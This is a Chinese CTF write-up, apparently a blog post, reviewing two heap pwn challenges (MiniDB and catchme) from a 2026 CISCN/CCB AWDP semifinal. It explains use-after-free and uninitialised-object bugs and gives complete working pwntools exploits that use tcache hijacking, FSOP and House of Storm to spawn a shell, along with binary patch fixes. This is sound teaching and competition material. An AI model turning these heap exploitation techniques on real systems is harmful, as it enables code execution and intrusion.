Loading

[2026 CCB&ciscn] 半决赛AWDP复盘

前言

注意: 本篇随笔包含了笔者的一些的吐槽和心理活动,如果不想看废话可以直接在导航栏跳转到具体题目。

题目下载:CISCN&CCB AWDP.zip
链接: https://pan.baidu.com/s/1-9v_o97EdDvLRFeDM8Ffzg 提取码: 1111


本次半决赛我攻击了0道PWN题,修复了0道PWN题,创下了本人线下赛事最差战绩,在CTF赛事履历上拉下了浓墨重彩的一坨!虽然不想承认,但经过半年多的备考、休息,几乎没打过什么CTF,现在我的水平已经赶不上平均水准了。谁敢想这次比赛我唯一拿分的点是修了一道php😓还是因为看二进制看的没招了,最后十几分钟,一手拿着盒饭另一只手点点鼠标给它那个反序列化洞给补了....

然后是在策略上也有很大失误,比赛过程中就盯着一道MiniDB猛看,因为逆向出程序逻辑花了得有一个小时,沉没成本这块让我感觉如果没给它修好或者利用成功会很亏,修的话我知道setval函数那里有UAF,但是把free函数nop掉这招不管用了😭永远是服务异常,在尝试了好久的修复无果后,准备打,可这时候已经过去两个多小时了,期间学弟催我和他一起看catchme那道题,但我的倔脾气上来了,想着怎么说也得试着打一下,便调试边打也没搞出来什么东西,最后半小时只能绝望的看排行榜🥺

本来是想替学校和学弟争下荣誉的,结果事与愿违......早知道光荣退役了,不至于现在落得晚节不保的下场😭

MiniDB

程序分析

题目是一个小数据库,支持:

  • SET
  • GET
  • CLONE
  • MULTI
  • EXEC
  • ABORT

核心对象可以简单看成:

struct Object {
    char name[32];
    void *next;
    void *val;
    bool onMulti; // 正常Object没有该字段,mulPtr专属
};

struct val {
    uint64_t refCount;
    size_t size;
    uint8_t cont[];
};

写数据时alloc_write 会先 malloc(size + 0x10),然后在前面补上:

  • refCount
  • size

真正用户数据从 +0x10 开始。

下面贴出程序的一些主要函数

程序入口和处理函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v5; // [rsp+108h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_1D95();
  db = (database *)malloc(0x210uLL);
  puts("Mini Database Engine v1.0");
  while ( 1 )
  {
    printf("> ");
    fgets(s, 256, stdin);
    if ( !strncmp(s, "EXIT", 4uLL) )
      break;
    handle(s);
  }
  return 0LL;
}
void __fastcall handle(char *rdi0)
{
  const char *s1; // [rsp+18h] [rbp-28h]
  char *v2; // [rsp+20h] [rbp-20h]
  char *v3; // [rsp+28h] [rbp-18h]
  char *v4; // [rsp+30h] [rbp-10h]
  char *a1; // [rsp+38h] [rbp-8h]

  s1 = strtok(rdi0, " \n");
  if ( s1 )
  {
    if ( !strcmp(s1, "SET") )
    {
      a1 = strtok(0LL, " \n");
      if ( a1 )
        setval(a1);
    }
    else if ( !strcmp(s1, "GET") )
    {
      v4 = strtok(0LL, " \n");
      if ( v4 )
        getval(v4);
    }
    else if ( !strcmp(s1, "CLONE") )
    {
      v2 = strtok(0LL, " \n");
      v3 = strtok(0LL, " \n");
      if ( v2 && v3 )
        clone(v2, v3);
    }
    else if ( !strcmp(s1, "MULTI") )
    {
      multi();
    }
    else if ( !strcmp(s1, "EXEC") )
    {
      exec();
    }
    else if ( !strcmp(s1, "ABORT") )
    {
      abort();
    }
  }
}

setval(核心漏洞在这里)

void __fastcall setval(char *a1)
{
  int v1; // [rsp+14h] [rbp-103Ch]
  size_t v2; // [rsp+18h] [rbp-1038h]
  Object *dest; // [rsp+20h] [rbp-1030h]
  Object *desta; // [rsp+20h] [rbp-1030h]
  val *ptr; // [rsp+28h] [rbp-1028h]
  val *v6; // [rsp+30h] [rbp-1020h]
  __int64 buf[514]; // [rsp+40h] [rbp-1010h] BYREF

  buf[513] = __readfsqword(0x28u);
  printf("Value> ");
  memset(buf, 0, 0x1000);
  v2 = read(0, buf, 0x1000uLL);
  dest = getIndex(a1);
  if ( dest )
  {
    ptr = (val *)dest->val;
    v6 = (val *)alloc_write(buf, v2);
    if ( db->isMulti )
    {
      if ( *(_DWORD *)&db->mulPtr->onMulti == 1 && !strcmp(db->mulPtr->name, a1) )
      {
        free(ptr);
      }
      else
      {
        strncpy(db->mulPtr->name, a1, 0x1FuLL);
        db->mulPtr->name[0x1F] = 0;
        db->mulPtr->next = ptr;
        *(_DWORD *)&db->mulPtr->onMulti = 1;
      }
      db->mulPtr->val = v6;
    }
    else if ( ptr )
    {
      if ( (__int64)--ptr->refCount <= 0 )
        free(ptr);
    }
    dest->val = v6;
  }
  else
  {
    desta = (Object *)malloc(0x30uLL);
    strncpy(desta->name, a1, 0x1FuLL);
    desta->name[31] = 0;
    desta->val = alloc_write(buf, v2);
    v1 = hashv(a1);
    desta->next = db->saves[v1];
    db->saves[v1] = desta;
    if ( db->isMulti )
    {
      strncpy(db->mulPtr->name, a1, 0x1FuLL);
      db->mulPtr->name[0x1F] = 0;
      db->mulPtr->next = 0LL;
      db->mulPtr->val = desta->val;
      *(_DWORD *)&db->mulPtr->onMulti = 1;
    }
  }
  puts("OK");
}

getval(越界读)

int __fastcall getval(char *a1)
{
  Object *v2; // [rsp+18h] [rbp-8h]

  v2 = getIndex(a1);
  if ( v2 )
    return printf("VAL: %s\n", (const char *)v2->val + 0x10);
  else
    return puts("ERR");
}

clone

int __fastcall clone(char *a1, char *a2)
{
  int v3; // [rsp+14h] [rbp-1Ch]
  Object *Index; // [rsp+18h] [rbp-18h]
  Object *dest; // [rsp+20h] [rbp-10h]
  _QWORD *val; // [rsp+28h] [rbp-8h]

  Index = (Object *)getIndex(a1);
  if ( !Index || getIndex(a2) )
    return puts("ERR");
  dest = (Object *)malloc(0x30uLL);
  strncpy(dest->name, a2, 0x1FuLL);
  dest->name[31] = 0;
  dest->val = Index->val;
  val = dest->val;
  if ( val )
    ++*val;
  v3 = hashv(a2);
  dest->next = db->saves[v3];
  db->saves[v3] = dest;
  return puts("OK");
}

multi(未初始化mulPtr对象)

int multi()
{
  database *v1; // rbx

  if ( db->isMulti )
    return puts("ERR");
  db->isMulti = 1;
  v1 = db;
  v1->mulPtr = (Object *)malloc(0x38uLL);
  return puts("TX START");
}

exec

void __fastcall exec()
{
  val *ptr; // [rsp+8h] [rbp-8h]

  if ( !db->isMulti )
  {
    puts("ERR");
  }
  else
  {
    if ( *(_DWORD *)&db->mulPtr->onMulti == 1 )
    {
      if ( db->mulPtr->next )
      {
        ptr = (val *)db->mulPtr->next;
        if ( ptr )
        {
          if ( (__int64)--ptr->refCount <= 0 )
            free(ptr);
        }
      }
    }
    free(db->mulPtr);
    db->isMulti = 0;
    puts("TX EXEC");
  }
}

abort

void __fastcall __noreturn abort()
{
  Object *Index; // [rsp+8h] [rbp-18h]
  _QWORD *val; // [rsp+10h] [rbp-10h]

  if ( !db->isMulti )
  {
    puts("ERR");
  }
  else
  {
    if ( *(_DWORD *)&db->mulPtr->onMulti == 1 )
    {
      Index = getIndex(db->mulPtr->name);
      if ( Index )
      {
        val = Index->val;
        Index->val = db->mulPtr->next;
        if ( val )
        {
          if ( (__int64)--*val <= 0 )
            free(val);
        }
      }
    }
    free(db->mulPtr);
    db->isMulti = 0;
    puts("TX ABORT");
  }
}

漏洞利用

细讲一下三个漏洞点:

  • GET存在越界读

    printf("VAL: %s\n", obj->val + 0x10);

  • MULTI 分配的 mulPtr 没有初始化

    事务开始时db->mulPtr = malloc(0x38);没有清零

    同时ABORT事件会将mulPtr->next的值直接写回同名key

    	  Index = getIndex(db->mulPtr->name);
          if ( Index )
          {
            val = Index->val;
            Index->val = db->mulPtr->next;
            if ( val )
            {
              if ( (__int64)--*val <= 0 )
                free(val);
            }
          }
    

    这是下面利用的核心

  • MULTI事务下存在直接释放(虽然我的利用方法没有用上这个漏洞)

    if (mulPtr->onMulti == 1 && !strcmp(mulPtr->name, a1)) {
        free(ptr);
    }
    

    这里没有判断val的引用情况,而是直接 free(ptr),所以只要事务里再次 SET 同一个 key,就能在还有引用的情况下把旧 val 直接送进 tcache

Step1

首先我们泄露出 libc 和 heap基址

libc

setval(b"leak", b"a"*0x900)
setval(b"leak", b"a"*0x10)
setval(b"leak", b"a"*0x400)
setval(b"leak", b"a"*0x500)
setval(b"leak", b"a"*0x410)
getval(b"leak")
ru(b"a"*0x410)
libc_base = uu64() - 0x21b110
  • 第三次 setval(b"leak", b"a"*0x400) 会申请出一个 0x420 的 chunk
  • 到下一次 setval(b"leak", b"a"*0x500) 时,这个旧的 0x420 chunk 会被释放
  • 进入 unsortedbin,用户区开头被写上 fd/bk

后面再 setval(b"leak", b"a"*0x410),当前字符串长度被控制成刚好 0x410,于是 GET 在打印完这 0x410 个 'a' 之后,继续往后读到的就是那块旧 0x420 chunk 里残留的 fd

heap

setval(b"leak", b"a"*0x10)
setval(b"leak", b"a"*0x900)
setval(b"leak", b"a"*0x20)
setval(b"leak", b"a"*0x400)
setval(b"leak", b"a"*0x500)
setval(b"leak", b"a"*0x10)
setval(b"leak", b"a"*0x420)
getval(b"leak")
ru(b"a"*0x420)
heap_base = uu64() - 0x910

第二次泄露本质上还是同一个思路:读旧 chunk 残留的元数据,只是这次残留的目标从 unsortedbin 换成了 largebin,然后控制堆风水让它泄露fd_nextsize

Step2

K_D = p64(heap_base >> 12)[0:5]
setval(b"mulP", b"a"*0x10 + p64(heap_base+0x10)+p64(0)+p32(1))
setval(K_D, b"a"*0x10)
setval(b"mulP", b"a"*0x10)
multi()
abort()

这一步是利用的核心,我们先看mulP

它第一次 SET 的长度是 0x24,所以对应的 val chunk size 正好是 0x40。
我们把后半段内容布置成:

+0x10 -> future mulPtr->next = heap_base + 0x10
+0x18 -> future mulPtr->val  = 0
+0x20 -> future mulPtr->onMulti = 1

然后再对 mulP 做一次普通 SET,旧的 val 就会被 free 到 0x40 tcache

此时这个 chunk 的开头会被 tcache 写成 fd
如果它是链尾,那么前几个字节本质上就是

p64(chunk_addr >> 12)

所以这里的前 5 个字节正好可以直接拿来当名字

K_D = p64(heap_base >> 12)[0:5]

于是我提前创建一个同名对象:

setval(K_D, b"a"*0x10)

接下来 multi() 会把释放的val重新拿出来当 mulPtr,且因为 mulPtr 未初始化,所以

  • mulPtr->name 继承了 fd 脏数据
  • mulPtr->next 继承了我预埋的 heap_base+0x10
  • mulPtr->onMulti = 1

最后 abort():

Index = getIndex(mulPtr->name);
Index->val = mulPtr->next;

刚好命中我提前建好的二进制 key,于是:

K_D->val = heap_base + 0x10

其实这个就实现了将任意地址写到K_D->val,从而实现任意地址读 / free

这个“任意地址”不是硬写出来的,而是借 fd 脏数据和事务回滚自动拼出来的,这也是我最喜欢的地方。

Step3

既然有任意地址free,那么你可能也看出我的想法了

heap_base + 0x10就是tcache结构体tcache_perthread_struct的地址,我们通过劫持tcache 结构体来实现任意地址分配

setval(b"clear", b'a'*0x10)
setval(K_D, b"a"*0x10)

释放的时候会走普通路径,对val的开头会有check,检查引用计数是否小于零

if ((__int64)--ptr->refCount <= 0)
    free(ptr);

现在 ptr 已经不是正常的 val,而是 tcache_perthread_struct结构,它前 8 字节是counts[0..3]

所以setval(b"clear", b'a'*0x10)其实是清理tcachebin布局,使前面8字节为0,然后setval(K_D, b"a"*0x10)触发free释放掉tcache

之后再把它申请回来

tc_idx = 8
counts_off = 2 * tc_idx - 0x10
entries_off = 0x80 + 8 * tc_idx - 0x10
target = libc.sym["_IO_list_all"] - 0x80

fake_tcache = flat(
    {
        counts_off: p16(1),
        entries_off: p64(target),
    },
    filler=b"\x00",
    length=0x270,
)
setval(b"clear", fake_tcache)

这里我选 tc_idx = 8,理由很简单,低编号的 counts[idx] 会被前 0x10 字节的 refCount/size 污染,idx = 8 往后就完全落在可控区域里了

这里设entries[8] = _IO_list_all - 0x80

Step4

在堆上写好fake FILE

file_addr = heap_base + 0x940 + 0x10
IO_wide_data_addr = (file_addr + 0xd8 + 8) - 0xe0
wide_vtable_addr = (file_addr + 0xd8 + 0x10) - 0x68
fake_io = flat(
    {
        0x00: p32(0xfbadf7f5) + b";sh\x00",               # _flags
        0x28: p64(1),                                     # _IO_write_ptr
        0x70: p32(2) + p32(0),                            # _fileno / _flags2
        0x78: p64(0xFFFFFFFFFFFFFFFF),                    # _old_offset
        0x80: p16(0) + b"\x00" + b"\n" + p32(0),         # _cur_column .. padding
        0x88: p64(libc.sym["_IO_2_1_stdout_"] + 0x1EA0),  # _lock
        0x90: p64(0xFFFFFFFFFFFFFFFF),                    # _offset
        0xA0: p64(IO_wide_data_addr),                     # _wide_data
        0xC0: p32(0xFFFFFFFF),                            # _mode
        0xD8: p64(libc.sym["_IO_wfile_jumps"]),           # vtable
        0xE0: p64(wide_vtable_addr),                      # _wide_data->_wide_vtable
        0xE8: p64(libc.sym["system"]),                    # call target
    },
    filler=b"\x00",
)
setval(b"io", fake_io)

这里要注意一个坑,一开始我填file_addr就是io->val的地址(也就是heap_base + 0x940),但实际上io->val + 0x10才是你的数据区,前面0x10是refCount/Size字段

最开始我少算了这 +0x10,结果 _IO_list_all 指过去时,实际指到的是整个 val 的开头,也就是

  • refCount
  • size
  • fake FILE

由于前面已经伪造了

entries[8] = _IO_list_all - 0x80

所以这次最后 setval(b"pwn", payload) 的新 val 会直接落到 _IO_list_all - 0x80,最终把file_addr写到 _IO_list_all 上,退出时触发 FSOP,拿 shell

image

注:笔者是在本地复现的,glibc版本为 2.35-0ubuntu3.9

完整EXP

from pwn import *
import struct

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def getvalsb():
    return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
uheap   = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
logaddr = lambda s, n   :p.success('%s -> 0x%x' % (s, n))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
#context.terminal = ['konsole', '-e', 'sh', '-c']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
libc = "./libc.so.6"

p = process(file)
elf = ELF(file, False)
libc = ELF(libc, False)
#p = remote("", 23583)

def setval(name, cont):
    sla("> ", b"SET " + name)
    sa("Value> ", cont)

def getval(name):
    sla("> ", b"GET " + name)

def clone(a1, a2):
    sla("> ", b"CLONE " + a1 + b" " + a2)

def multi():
    sla("> ", "MULTI")

def exec():
    sla("> ", "EXEC")

def abort():
    sla("> ", "ABORT")


setval(b"leak", b"a"*0x900)
setval(b"leak", b"a"*0x10)
setval(b"leak", b"a"*0x400)
setval(b"leak", b"a"*0x500)
setval(b"leak", b"a"*0x410)
getval(b"leak")
ru(b"a"*0x410)
libc_base = uu64() - 0x21b110 
logaddr("libcbase", libc_base)

setval(b"leak", b"a"*0x10)
setval(b"leak", b"a"*0x900)
setval(b"leak", b"a"*0x20)
setval(b"leak", b"a"*0x400)
setval(b"leak", b"a"*0x500)
setval(b"leak", b"a"*0x10)
setval(b"leak", b"a"*0x420)
getval(b"leak")
ru(b"a"*0x420)
heap_base = uu64() - 0x910
logaddr("heapbase", heap_base)

libc.address = libc_base
file_addr = heap_base + 0x940 + 0x10
IO_wide_data_addr = (file_addr + 0xd8 + 8) - 0xe0
wide_vtable_addr = (file_addr + 0xd8 + 0x10) - 0x68
fake_io = flat(
    {
        0x00: p32(0xfbadf7f5) + b";sh\x00",               # _flags
        0x28: p64(1),                                     # _IO_write_ptr
        0x70: p32(2) + p32(0),                            # _fileno / _flags2
        0x78: p64(0xFFFFFFFFFFFFFFFF),                    # _old_offset
        0x80: p16(0) + b"\x00" + b"\n" + p32(0),         # _cur_column .. padding
        0x88: p64(libc.sym["_IO_2_1_stdout_"] + 0x1EA0),  # _lock
        0x90: p64(0xFFFFFFFFFFFFFFFF),                    # _offset
        0xA0: p64(IO_wide_data_addr),                     # _wide_data
        0xC0: p32(0xFFFFFFFF),                            # _mode
        0xD8: p64(libc.sym["_IO_wfile_jumps"]),           # vtable
        0xE0: p64(wide_vtable_addr),                      # _wide_data->_wide_vtable
        0xE8: p64(libc.sym["system"]),                    # call target
    },
    filler=b"\x00",
)
setval(b"io", fake_io)

# hijack tcache
K_D = p64(heap_base >> 12)[0:5]
setval(b"mulP", b"a"*0x10 + p64(heap_base+0x10)+p64(0)+p32(1))
setval(K_D, b"a"*0x10)
setval(b"mulP", b"a"*0x10)
multi()
abort()
setval(b"clear", b'a'*0x10)
setval(K_D, b"a"*0x10)

tc_idx = 8
counts_off = 2 * tc_idx - 0x10
entries_off = 0x80 + 8 * tc_idx - 0x10
target = libc.sym["_IO_list_all"] - 0x80

fake_tcache = flat(
    {
        counts_off: p16(1),
        entries_off: p64(target),
    },
    filler=b"\x00",
    length=0x270,
)
setval(b"clear", fake_tcache)
payload = flat(
    {0x70 : p64(file_addr),
     0x80 : p64(0x00000000fbad2087)
    },
    filler=b"\x00")

setval(b"pwn", payload)
#debug()
pause()
sl("EXIT")

ia()

漏洞修补

说到这个就有点烦...比赛时怎么没仔细看函数列表呢!

image

出题人给了一个没有被引用的sub_13BE函数,内容就是对refCount--然后再判断是否 < 0再释放,这不赤果果的提示吗😭

找到0x16f4处的call _free,修改为call sub_13BE

image

image

比赛题目提示最小改动原则,最多改五字节,我想不通除了nop掉这个free还能怎么改,现在懂了

catchme

程序分析

这题是一个glibc2.27菜单堆题,一共 5 个槽位,支持 6 个操作:

  • adopt
  • release
  • inspect
  • engrave
  • leave
  • purge

其中adopt能分配三种对象,对应三种 chunk:

  • type1:malloc(0x430),实际 chunk size 为 0x440
  • type2:malloc(0x440),实际 chunk size 为 0x450
  • type3:calloc(1, 0x48),实际 chunk size 为 0x50

这三个大小的利用意义很明确:

  • 0x440 / 0x450:不走 tcache,主要进 unsorted / largebin
  • 0x50:走 tcache[0x50]

漏洞利用

漏洞很明显,一个是release导致的UAF

image

这就导致了 inspect和engrave的UAF read/write,操作的地址都是ptr+8,可以写free chunk的bk、fd_nextsize、bk_nextsize

image

同时purge只清槽位,不free,也方便我们控制堆布局做堆风水

无法改fd且只有三次编辑机会,适合打 house of storm

之前没用过这种攻击方式,所以去看了看它的how2heap代码,捋了一下它的攻击路径,下面给大家详细讲解一下

如果你也不清楚house of storm的攻击流程,那就一起来看看吧!

House of Storm攻击原理

利用前提

  • 存在堆漏洞(UAF、堆溢出等),可同时控制:

    • unsorted bin chunk的bk指针
    • large bin chunk的bk、bk_nextsize指针
  • 构造两个符合要求的chunk:

    • unsorted bin中的chunk(记为chunk_U)、large bin中的chunk(记为chunk_L)
    • 两个chunk归位后属于同一个large bin分级,且chunk_U.size > chunk_L.size
  • 可申请一个与伪造size匹配的小chunk(通常为0x50)

  • 堆地址以0x56开头

利用原理/步骤

House of Storm 本质是通过一次malloc调用,同时触发两个攻击原语,在目标地址完成合法chunk的伪造,最终实现任意地址分配

堆风水布局

首先申请目标chunk和隔离chunk

// chunk_U:最终进入unsorted bin,实际size=0x4f0
char* chunk_U = malloc(0x4e8);
// 隔离chunk1:防止chunk_U与后续chunk合并
char* guard1 = malloc(0x18);
// chunk_L:最终进入large bin,实际size=0x4e0,与chunk_U同属一个large bin分级,且更小
char* chunk_L = malloc(0x4d8);
// 隔离chunk2:防止chunk_L与top chunk合并
char* guard2 = malloc(0x18);

然后free(chunk_L),再free(chunk_U)此时两个chunk都进入unsorted bin。

重新malloc(0x4e8),malloc会从unsorted bin中取出chunk_U分配给用户,同时将剩余的chunk_L分类放入对应的large bin中。

再free(chunk_U),此时chunk_U回到unsorted bin,chunk_L留在large bin,达成布局要求。

修改指针

假设目标是将chunk分配到target_addr,则fake chunk的起始地址为fake_chunk = target_addr - 0x10(对齐chunk头部)

通过UAF/堆溢出,篡改两个chunk的关键指针(看代码注释)

// ========== 篡改unsorted bin中的chunk_U ==========
chunk_U[0] = 0;                  // chunk_U->fd = 0,置空避免异常
chunk_U[8] = (uint64_t)fake_chunk; // chunk_U->bk = fake_chunk,unsorted bin attack核心

// ========== 篡改large bin中的chunk_L ==========
chunk_L[0] = 0;                  // chunk_L->fd = 0,置空避免异常
chunk_L[8] = (uint64_t)fake_chunk + 8; // chunk_L->bk = fake_chunk+8,指向fake_chunk的bk字段,防止崩溃
chunk_L[16] = 0;                 // chunk_L->fd_nextsize = 0,置空避免异常
// 错位写入:large bin attack将堆地址写入fake_chunk的size字段
// -5是因为开启PIE的x64堆地址以0x55/0x56开头,错位5字节后,刚好伪造出0x50的size
chunk_L[24] = (uint64_t)fake_chunk - 0x18 - 5;

malloc触发攻击(关键)

调用malloc(0x48),该大小对齐后实际申请size为0x50,与我们伪造的size完全匹配。接下来拆解这一次malloc发生了什么操作

  • 第一次unsorted bin遍历,触发unsorted bin attack

    // 从unsorted bin尾部取chunk,victim = chunk_U
    while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))
    {
        bck = victim->bk; // bck = chunk_U->bk = fake_chunk
        size = chunksize(victim); // size=0x4f0,与申请的0x50不匹配,跳过直接分配
    
        // ========== unsorted bin attack 触发 ==========
        // 将fake_chunk链入unsorted bin尾部,同时执行 bck->fd = unsorted_chunks(av)
        // 即 fake_chunk->fd = main_arena+0x88,完成fake chunk的fd字段伪造
        unsorted_chunks(av)->bk = bck;
        bck->fd = unsorted_chunks(av);
    
  • 进入large bin插入逻辑,触发large bin attack

        // chunk_U.size属于large bin范围,进入large bin插入逻辑
        else
        {
            victim_index = largebin_index(size);
            bck = bin_at(av, victim_index);
            fwd = bck->fd; // fwd = large bin中的chunk_L
    
            // chunk_U.size > chunk_L.size,进入核心攻击分支
            else
            {
                // ========== large bin attack 触发 ==========
                victim->fd_nextsize = fwd;
                // chunk_U->bk_nextsize = chunk_L->bk_nextsize = fake_chunk-0x18-5
                victim->bk_nextsize = fwd->bk_nextsize;
                fwd->bk_nextsize = victim;
                // 核心错位写入:(fake_chunk-0x18-5)->fd_nextsize = chunk_U
                // fd_nextsize偏移为0x20,最终写入地址 = (fake_chunk-0x18-5)+0x20 = fake_chunk-0x3
                // 将chunk_U的堆地址(0x56xxxxxx)写入该位置,错位后fake_chunk->size字段的最低字节为0x56,伪造出size=0x50
                victim->bk_nextsize->fd_nextsize = victim;
            }
            bck = fwd->bk; // bck = chunk_L->bk = fake_chunk+0x8
    
            // ========== 修复fake chunk的bk字段 ==========
            victim->bk = bck;
            victim->fd = fwd;
            fwd->bk = victim;
            // bck->fd = victim → (fake_chunk+0x8)->fd = chunk_U
            // 即 fake_chunk->bk = chunk_U,完成fake chunk的bk字段伪造
            bck->fd = victim;
        }
    }
    
  • 第二次unsorted bin遍历,完成任意地址分配

    第一次循环结束后,fake chunk已经被完全伪造

    fake_chunk->fd = main_arena+0x88 //(合法的unsorted bin链表指针)
    fake_chunk->bk = chunk_U		 //(合法的链表指针)
    fake_chunk->size = 0x50			 //(与申请大小完全匹配)
    

    malloc进入第二次unsorted bin遍历,收尾

    // victim = unsorted bin尾部的fake_chunk
    victim = unsorted_chunks(av)->bk;
    bck = victim->bk;
    size = chunksize(victim); // size=0x50,与申请的nb完全匹配
    
    // 直接匹配成功,将fake_chunk从unsorted bin脱链,分配给用户
    if (size == nb)
    {
        unsorted_chunks(av)->bk = bck;
        bck->fd = unsorted_chunks(av);
        // 返回fake_chunk+0x10,即我们的目标target_addr
        return chunk2mem(victim);
    }
    

以上就是House of Storm的攻击全流程,不得不说发明它的人真是个天才(respect

接下来回到本题,具体到这个题目,我们该如何利用house of storm打穿它!

Step1 依旧泄露libc

adopt(1)
adopt(1)
release(0)
inspect(0)
libc.address = uu64() - 0x3EBCA0

然后

release(1)
purge(0)
purge(1)

把这两块旧块和两个记录位清掉,开始整理真正用于利用的堆布局

Step2 填满 tcache[0x50]

for _ in range(7):
    adopt(3)
    release(0)
    purge(0)

我们最终要申请的是 adopt(3) 也就是 malloc(0x48),所以必须先把 0x50 这一档 tcache 填满。如果 tcache[0x50] 没满,这次申请只会走正常 tcache 路径,不会命中 fake chunk

Step3 构造 unsorted victim 和 largebin victim

adopt(2)  # 0
adopt(3)  # 1
adopt(1)  # 2
adopt(3)  # 3

对应堆上

0x450 victim
0x50  guard
0x440 victim
0x50  guard

之后让0x440/0x450 进入 unsortedbin

release(2)   # free 0x440
release(0)   # free 0x450

接着再

purge(0)
adopt(2)

重新申请一个 0x450,ptmalloc 在处理 unsortedbin 时,会先看到那块 0x440,但这块 0x440 不够满足新的 0x450 请求,因此它不会被直接取走,而会被分类送进 largebin,这时 largebin victim 就准备好了

最后release(0),把刚申请出来的那块新的 0x450 再 free 掉,至此,堆上形成了House of Storm 所需的双 victim 状态:

  • 0x440 在 largebin
  • 0x450 在 unsortedbin

Step4 修改unsorted victim 和 largebin victim

这里

fake_chunk = libc.sym["__free_hook"] - 0x18

engrave(0, p64(fake_chunk))
engrave(2, p64(fake_chunk + 8) + p64(0) + p64(fake_chunk - 0x18 - 5))

对应

# unsorted victim
engrave(0, p64(fake_chunk))
# 使chunk_U->bk = fake_chunk
    
# largebin victim
engrave(2, p64(fake_chunk + 8) + p64(0) + p64(fake_chunk - 0x18 - 5))
# chunk_L->bk          = fake_chunk + 8
# chunk_L->fd_nextsize = 0
# chunk_L->bk_nextsize = fake_chunk - 0x18 - 5

largebin 那条通过 nextsize 的错位写把一个堆指针的高字节打进 fake chunk 的 size 字段,在 64 位、PIE 环境下,堆地址高字节通常是 0x55/0x56 一类值,利用这个高字节就可以把 fake chunk 的 size 修成合法的小块尺寸

Step5 Storm一触即发

完成两个 victim 的覆写后,通过

adopt(3)  # 4

完成house of storm的触发。

如果 fake chunk 伪造成功,这次 malloc(0x48) 返回的就是fake_chunk + 0x10 = __free_hook - 0x8

这里做了一个简单判断

rc(1)
msg = p.recv(timeout=0.5)
if msg and b"malloc" in msg:
    return False

如果 glibc 报错,说明这次随机到的堆地址开头不是0x56,直接重试。如果没报错,就说明 fake chunk 大概率命中了

Step6 ogg收尾

返回 chunk 的用户指针是__free_hook - 0x8,而题目engrave的写操作是chunk + 8开始

因此engrave(4, p64(one))直接将one_gadget 写到 __free_hook 上,最后再来一次 free 操作就能拿到shell了

image

完整exp

from pwn import *
import struct


def debug(c=0):
    if c:
        gdb.attach(p, c)
    else:
        gdb.attach(p)


def get_sb():
    return libc.sym["system"], next(libc.search(b"/bin/sh\x00"))


sd = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data if isinstance(data, bytes) else str(data).encode())
sla = lambda text, data: p.sendlineafter(text, data)
rc = lambda num=4096: p.recv(num)
ru = lambda text: p.recvuntil(text)
rl = lambda: p.recvline()
pr = lambda num=4096: print(p.recv(num))
ia = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda: u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda: u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda: u64(p.recv(6).ljust(8, b"\x00"))
uheap = lambda: u64(p.recv(6).ljust(8, b"\x00"))
logaddr = lambda s, n: p.success("%s -> 0x%x" % (s, n))

context.binary = elf = ELF("./pwn")
context.arch = "amd64"
context.os = "linux"
context.log_level = "debug" if args.D else "info"

libc = ELF("./libc-2.27.so")
p = None

def adopt(kind):
    ru(b">>")
    sl(1)
    ru(b"(3)otter")
    sl(kind)


def release(idx):
    ru(b">>")
    sl(2)
    ru(b"index:")
    sl(idx)


def inspect(idx):
    ru(b">>")
    sl(3)
    ru(b"index:")
    sl(idx)
    ru(b"tag:")


def purge(idx):
    ru(b">>")
    sl(6)
    ru(b"index:")
    sl(idx)


def engrave(idx, data):
    ru(b">>")
    sl(4)
    ru(b"you can retag at most three times")
    sl(idx)
    ru(b"set tag:")
    sd(data)


def pwn():
    global p, libc

    adopt(1)
    adopt(1)
    release(0)
    inspect(0)
    libc.address = uu64() - 0x3EBCA0
    logaddr("libcbase", libc.address)

    release(1)
    purge(0)
    purge(1)

    for _ in range(7):
        adopt(3)
        release(0)
        purge(0)

    adopt(2)  # 0
    adopt(3)  # 1
    adopt(1)  # 2
    adopt(3)  # 3

    release(2)
    release(0)
    purge(0)
    adopt(2)  # 0
    release(0)

    fake_chunk = libc.sym["__free_hook"] - 0x18
    logaddr("__free_hook", libc.sym["__free_hook"])

    engrave(0, p64(fake_chunk))
    engrave(2, p64(fake_chunk + 8) + p64(0) + p64(fake_chunk - 0x18 - 5))
    adopt(3)  # 4
    msg = p.recv(timeout=0.5)
    if msg and b"malloc" in msg:
        return False

    ogg = libc.address + 0x4F302
    engrave(4, p64(ogg))
    # debug()
    # pause()
    release(4)
    ia()
    return True


for i in range(1, 61):
    p = process("./pwn")
    log.info(f"attempt {i}/60")
    try:
        if pwn():
            break
        p.close()
    except EOFError:
        p.close()
else:
    raise SystemExit("failed")

漏洞修补

一开始尝试nop大法失败了,然后改 eh_frame 把指针置零,本地跑了一次没问题然后提交,还是失败了

赛后听有位师傅说他是直接在.text段上改的,通过了。不清楚他的具体改法是什么,可能是下面这样?

image

posted @ 2026-03-28 20:08  S1nyer  阅读(524)  评论(0)    收藏  举报